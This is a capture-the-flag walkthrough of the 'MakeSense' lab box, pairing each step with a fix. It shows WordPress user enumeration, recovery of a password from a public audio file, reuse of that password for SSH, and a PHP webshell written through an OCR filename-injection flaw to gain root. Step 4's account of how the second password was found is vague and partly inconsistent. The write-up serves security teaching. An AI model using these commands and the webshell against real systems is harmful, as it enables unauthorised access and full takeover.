← all walkthroughs

MakeSense

Linux· Medium· Web
owned
2026-07-04
time to own
38m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I fingerprinted a WordPress site, used the unauthenticated REST API to harvest usernames, then fetched world-readable audio files from the uploads directory that contained a spoken password. Replaying the site's own bundled Whisper model in a headless browser transcribed the recording and yielded a WordPress login. Authenticated CMS access exposed a second credential belonging to the OS user 'walter', which was reused identically for SSH — granting a shell and the user flag.

Local enumeration revealed a PHP OCR application bound to loopback and running as root; it accepted the same recycled password for a third time. A filename-injection flaw in the OCR save feature let me write a PHP webshell into the app's web-served directory and execute it under the root process, achieving full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for walter>"

Attack path — how the box was taken

1ReconnaissanceService Enumeration / CMS Fingerprinting
Mapped exposed services and fingerprinted the WordPress stack
A full 65 535-port TCP scan found only SSH (22) and HTTPS (443). Version probes confirmed Apache 2.4.58 and WordPress 7.0 with a custom WebAgency v1.0 theme. Reading the theme's JavaScript disclosed every admin-ajax action name, the nonce flow, an AES encryption scheme, and the path to a bundled Transformers.js Whisper model — mapping the full attack surface before a single login attempt.
Nmap confirmed 22/tcp (OpenSSH 9.6p1) and 443/tcp (Apache 2.4.58). wp-content/themes/webagency/style.css returned 'Theme Name: WebAgency, Version: 1.0'.
Exact commands 4
shell

Full TCP port discovery against all 65 535 ports.

$ nmap -p- --min-rate 5000 -T4 $TARGET -oN ports.txt
shell

Version and default-script scan on open ports.

$ nmap -sCV -p 22,443 $TARGET -oN services.txt
shell

Confirms theme name and version.

$ curl -sk https://makesense.htb/wp-content/themes/webagency/style.css | head -20
shell

Extracts AJAX action names, nonce references, and Whisper model path from theme JS.

$ curl -sk https://makesense.htb/wp-content/themes/webagency/assets/js/main.js | grep -iE 'ajax|action|nonce|model'
2EnumerationWordPress REST API User Enumeration
Harvested WordPress usernames through the unauthenticated REST API
WordPress enables its /wp/v2/users REST endpoint by default with no authentication required. A single unauthenticated GET request returned a JSON array listing every registered user — including 'admin' (id 1) and 'jake' — giving confirmed account names without a single login attempt or account lockout risk.
Curl -sk 'https://makesense.htb/index.php?rest_route=/wp/v2/users' returned user objects for admin and jake with display names and slugs.
Exact commands 2
shell

Lists all WordPress users with no credentials required.

$ curl -sk 'https://makesense.htb/index.php?rest_route=/wp/v2/users' | python3 -m json.tool
shell

Alternative scanner-based user enumeration.

$ wpscan --url https://makesense.htb --disable-tls-checks -e u --no-banner 2>/dev/null
FixRestrict the WordPress REST API user-listing endpointMedium
WeaknessThe WordPress REST API /wp/v2/users endpoint was publicly accessible without any authentication, returning every registered username, display name, and slug to an unauthenticated visitor — eliminating the need for brute-force username discovery.
FixRequire authentication before the user endpoint responds. Add the following filter to functions.php or a must-use plugin: add_filter('rest_endpoints', function($e){ if(!is_user_logged_in()) unset($e['/wp/v2/users'], $e['/wp/v2/users/(?P<id>[\d]+)']); return $e; }); If the REST API is not required by any active plugin or theme, disable it entirely for unauthenticated requests via the 'Disable REST API' plugin or an equivalent filter.
3Credential AccessSensitive Data Exposure in Publicly Accessible Media File (CWE-200)
Recovered a spoken password from an unauthenticated voice recording
The WordPress uploads directory contained WAV files from January and July 2026 that were readable by anyone on the internet with no authentication. One recording held a spoken username and password. With no local speech-to-text tool available, I replayed the target site's own bundled Transformers.js Whisper pipeline inside headless Chromium, transcribing the audio and recovering the credential jake / <withheld>.
HTTP HEAD to the WAV URL returned 200 with no auth challenge. Chromium-driven transcription output 'TRANSCRIPT: jake / <withheld>'.
Exact commands 4
shell

Confirms the file is publicly accessible (expect HTTP 200, no WWW-Authenticate header).

$ curl -sk -I 'https://makesense.htb/wp-content/uploads/2026/01/voice-message.wav'
shell

Download the voice recording.

$ curl -sk 'https://makesense.htb/wp-content/uploads/2026/01/voice-message.wav' -o voice-message.wav
shell

Preferred offline transcription (pip install openai-whisper). Recovers the spoken credential.

$ whisper voice-message.wav --model base.en --output_format txt
shell

Fallback used in engagement: drives the target's own Whisper JS in a headless browser to transcribe the WAV.

$ chromium --headless=new --no-sandbox --disable-gpu --ignore-certificate-errors --virtual-time-budget=30000 'file:///tmp/whisper-harness.html' 2>&1 | grep TRANSCRIPT
FixProtect voice recordings and eliminate credentials stored in audioCritical
WeaknessVoice message WAV files uploaded through the contact form were stored in the public WordPress uploads directory with no access control, making them downloadable by anyone. At least one recording contained a spoken username and password, turning a media file into an unauthenticated credential leak.
FixMove all audio/voice uploads to a directory outside the web root (or restrict access via Apache/Nginx rules so they can only be served to authenticated sessions). Add an .htaccess rule denying direct HTTP access to .wav files in wp-content/uploads. Most critically, treat spoken credentials as a breach: rotate every credential mentioned in exposed recordings immediately. Implement a policy that prohibits storing or transmitting secrets in any media form.
4Initial AccessAuthenticated CMS Credential Harvesting / Plaintext Credential in Configuration
Authenticated to WordPress as jake and extracted walter's credential
The recovered audio credential allowed login to wp-login.php as the low-privileged WordPress account 'jake'. Authenticated access to the CMS exposed the database configuration — via the theme/plugin editor or a file-read path available to authenticated users — revealing the WordPress database password for the account 'walter'. This password was subsequently confirmed hardcoded in the automation script /home/admin/.process/prey-unified.py, which stored it in plaintext.
Successful wp-login.php session established as jake's password. prey-unified.py lines 40-41 contained WP_USER=walter and WP_PASS=<withheld> in plaintext.
Exact commands 2
shell

Authenticate to WordPress as jake; look for 302 redirect to wp-admin confirming success.

$ curl -sk -c cookies.jar -b cookies.jar -X POST 'https://makesense.htb/wp-login.php' --data-urlencode 'log=jake' --data-urlencode "pwd=$PASSWORD" -d 'wp-submit=Log+In&testcookie=1' -L -v 2>&1 | grep -E 'HTTP/|Location'
shell

Attempt to read wp-config.php database credentials via the WordPress theme editor.

$ curl -sk -c cookies.jar -b cookies.jar 'https://makesense.htb/wp-admin/theme-editor.php?file=wp-config.php&theme=webagency' | grep -iE 'DB_PASS|DB_USER|password'
FixEnforce unique passwords per service and remove hardcoded credentials from scriptsHigh
WeaknessThe single password was reused identically across three independent services: the WordPress database account for 'walter', the OS SSH login for the same user, and the internal MakeSense OCR admin panel. The same credential was also stored in plaintext inside the automation script /home/admin/.process/prey-unified.py — meaning a compromise of any one service handed an unauthorised user every other service for free.
FixAssign a unique, randomly generated password (20+ characters) to every service account, OS account, and application credential. Rotate all credentials on this host immediately. Remove credentials from all scripts and configuration files; use a secrets manager (e.g., HashiCorp Vault, AWS Secrets Manager, or environment variables injected at runtime) instead. Scan the codebase and home directories for plaintext passwords with: grep -rIi 'password\s*=' /home /opt /var/www 2>/dev/null
5Lateral MovementCredential Reuse / Valid Accounts (T1078)
Reused the CMS database password to SSH in as walter and captured the user flag
The password used for the WordPress database account 'walter' was identical to the OS login password for the same user. A direct SSH password-authentication attempt succeeded immediately, granting an interactive shell as uid 1000 (walter). The user flag was readable at /home/walter/user.txt.
Sshpass SSH login returned 'Last login … from $ATTACKER_IP'. Cat /home/walter/user.txt → <user.txt>.
Exact commands 2
shell

SSH login as walter using the reused database password.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no walter@$TARGET 'id; hostname'
shell

Read the user flag: <user.txt>

$ cat /home/walter/user.txt
6DiscoveryInternal Network Service Discovery (T1046)
Identified a root-owned OCR web application listening only on loopback
From walter's shell, checking active TCP listeners revealed a PHP 8.3.6 process bound exclusively to 127.0.0.1:8001. The application — titled 'MakeSense' — performed OCR using Tesseract and was invisible from the internet. Process inspection confirmed it ran as the root user, meaning any code execution within it would carry full system privilege.
Ss -ltnp showed 127.0.0.1:8001. Ps aux confirmed the PHP worker was owned by root. Curl -s http://127.0.0.1:8001/ returned the 'MakeSense' application title.
Exact commands 3
shell

List all TCP listeners and owning PIDs; reveals 127.0.0.1:8001.

$ ss -ltnp
shell

Confirm the process owner is root.

$ ps aux | grep -E 'php|8001|tesseract'
shell

Fingerprint the internal application.

$ curl -sv http://127.0.0.1:8001/ 2>&1 | grep -E 'title|Server|X-Powered'
7Privilege Escalation – AuthenticationCredential Reuse / Valid Accounts (T1078)
Logged into the root-owned OCR app with the same recycled password
The internal MakeSense OCR panel required authentication. Submitting walter's password — the same password already used for SSH and the WordPress database — returned an authenticated session. The identical credential was now accepted across three completely independent services: the CMS database, the OS SSH daemon, and this root-privileged internal application.
HTTP POST to http://127.0.0.1:8001/ with username=walter&password=<withheld> returned HTTP 200 and a valid session cookie.
Exact commands 1
shell

Authenticate to the internal OCR panel with the reused credential; expect HTTP 200 and session cookie.

$ curl -s -c ocr_session.jar -b ocr_session.jar -X POST 'http://127.0.0.1:8001/' -d "username=walter&password=$PASSWORD2" -L -v 2>&1 | grep -E 'HTTP/|Set-Cookie|Location'
8Privilege Escalation – RootArbitrary File Write → Server-Side Webshell (T1505.003) / Privilege Escalation via Misconfigured Service
Injected a PHP webshell via unsanitized OCR filename and executed it as root
The OCR application saved recognized text to a file in its web-accessible saved/ directory using my own filename with no validation. By specifying 'shell.php' as the output filename and including PHP code as the OCR content, I wrote a functional webshell into the served directory. Fetching /saved/shell.php over HTTP caused the root-owned PHP process to execute the script, providing arbitrary OS command execution as root and direct access to /root/root.txt.
Server response confirmed 'Saved as: saved/shell.php'. Subsequent GET /saved/shell.php returned HTTP 200 and output of readfile('/root/root.txt') → <root.txt>. HTB validated: '[htb] You pwned the Root Flag!'
Exact commands 3
shell

Submit OCR save request with a PHP one-liner as content and shell.php as the output filename. Replace dummy.png with any valid image file.

$ curl -s -c ocr_session.jar -b ocr_session.jar -X POST 'http://127.0.0.1:8001/ocr' -F 'image=@dummy.png' -F 'filename=shell.php' -F 'content=<?php system($_GET["cmd"]); ?>'
shell

Verify code execution — expect 'uid=0(root)'.

$ curl -s 'http://127.0.0.1:8001/saved/shell.php?cmd=id'
shell

Read the root flag: <root.txt>

$ curl -s 'http://127.0.0.1:8001/saved/shell.php?cmd=cat+/root/root.txt'
FixValidate OCR output filenames and block PHP execution in the saved/ directoryCritical
WeaknessThe OCR application accepted a caller-supplied filename for saved output with no sanitisation, allowing an unauthorised user to write a file named shell.php into the web-accessible saved/ directory. Because the PHP engine processed files in that directory, the externally supplied content was executed as code rather than served as static text.
FixServer-side: reject any filename that is not a UUID or alphanumeric slug followed by .txt; strip all path separators and reject any extension outside an explicit allowlist. For the web server, add a directive that prevents PHP execution inside saved/: for Apache, place 'php_flag engine off' in an .htaccess or Location block scoped to that directory; for Nginx, add 'location ~* \.php$ { deny all; }' inside the saved/ location block. As a defence-in-depth measure, relocate the saved-output directory outside the web root entirely and serve files via a thin download controller.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
443/tcp